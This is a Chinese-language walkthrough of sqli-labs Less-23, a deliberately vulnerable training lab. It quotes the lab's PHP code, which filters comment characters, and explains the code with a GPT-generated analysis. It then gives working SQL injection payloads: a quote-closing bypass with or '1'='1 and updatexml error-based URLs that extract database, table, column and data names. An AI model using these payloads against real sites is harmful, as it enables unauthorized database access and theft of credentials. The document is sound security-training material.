前言 {#前言}
进入Less-23发现又回到了我们熟悉的get传参,但是在尝试语句时我们发现后面的注释--空格xz或者#貌似被过滤掉了,这个时候可以构造or '1'='1,去把后面自带的单引号消除,发现页面显示正常,那么我们后面按照以往的流程继续走即可
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
实验环节 {#实验环节}
浏览器访问Less-23 {#浏览器访问Less-23}
http://192.168.199.135/sqli-labs-master/Less-23/
查看闭合方式 {#查看闭合方式}
首先我们按照正常的输入?id=1'
?id=1'
#页面报错
输入注释语句 {#输入注释语句}
?id=1' -- xz
#由于我们后面这个--空格代表注释的意思,所以它不会当作代码来解析,但是页面上报错显示不认识这个xz
?id=1' #
#使用#注释,页依旧显示报错
#那么说明注释这块没有生效,本来是要当作字符串执行,结果却当作代码执行,说明肯定存在问题
分析代码 {#分析代码}
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET\['id'\]))
{
$id=$_GET\['id'\];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\\n");
fclose($fp);
// connectivity
$sql="SELECT \* FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
`?>
`
通过gpt分析得出这段代码是一个基于PHP语言的用户身份验证脚本,主要用来查询用户的登录名和密码。下面是对代码的分析:
- 引入数据库连接参数:
include("../sql-connections/sql-connect.php");
这行代码包含了数据库连接参数,可以连接到MySQL数据库。
- 获取ID参数:
if(isset($_GET['id']))
{
$id=$_GET['id'];
这段代码判断是否存在ID参数,如果存在则将其赋值给变量$id。
- 过滤ID参数:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
这段代码对ID参数进行了过滤,使用正则表达式将#和--替换为空字符串,所以我们不管注释什么字符都是显示错误,因为都转义成空字符,不生效。
- 记录ID参数:
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
这段代码将ID参数记录到result.txt文件中,用于分析和调试。
- 查询用户信息:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这段代码使用SELECT语句查询users表中ID等于$id的用户信息,并将结果保存到变量$row中。
- 显示用户信息:
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
这段代码判断是否查询到了用户信息,如果查询到了,则将用户名和密码以蓝色字体显示出来;如果没有查询到,则将错误信息以黄色字体显示出来。
需要注意的是,这段代码存在SQL注入漏洞,因为没有对用户输入的ID参数进行过滤和验证,攻击者可以通过构造恶意输入来执行恶意SQL语句。建议使用预处理语句来避免SQL注入漏洞。
通过以上代码可知存在sql注入漏洞,那么我们可以通过对其中的id参数构造闭合语句
构造闭合语句 {#构造闭合语句}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#首先输入单引号和前面的单引号闭合
$sql="SELECT * FROM users WHERE id=''' LIMIT 0,1";
#按照以往的构造and 1=2 -- xz,由于--空格注释用不了了,但是后面空出来一个单引号怎么办,可以构造or '1'='1和后面的单引号形成闭合
$sql="SELECT * FROM users WHERE id=''and 1=2 or '1'='1' LIMIT 0,1";
'and 1=2 or '1'='1这个语句是我们输的,目的就是为了构造闭合语句,方便注入
判断存在是否存在注入 {#判断存在是否存在注入}
'and 1=2 or '1'='1
#页面正常说明存在注入
判断库名 {#判断库名}
http://192.168.199.135/sqli-labs-master/Less-23/?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)or '1'='1
判断表名 {#判断表名}
http://192.168.199.135/sqli-labs-master/Less-23/?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)or '1'='1
判断列名 {#判断列名}
http://192.168.199.135/sqli-labs-master/Less-23/?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)or '1'='1
判断数据 {#判断数据}
http://192.168.199.135/sqli-labs-master/Less-23/?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)or '1'='1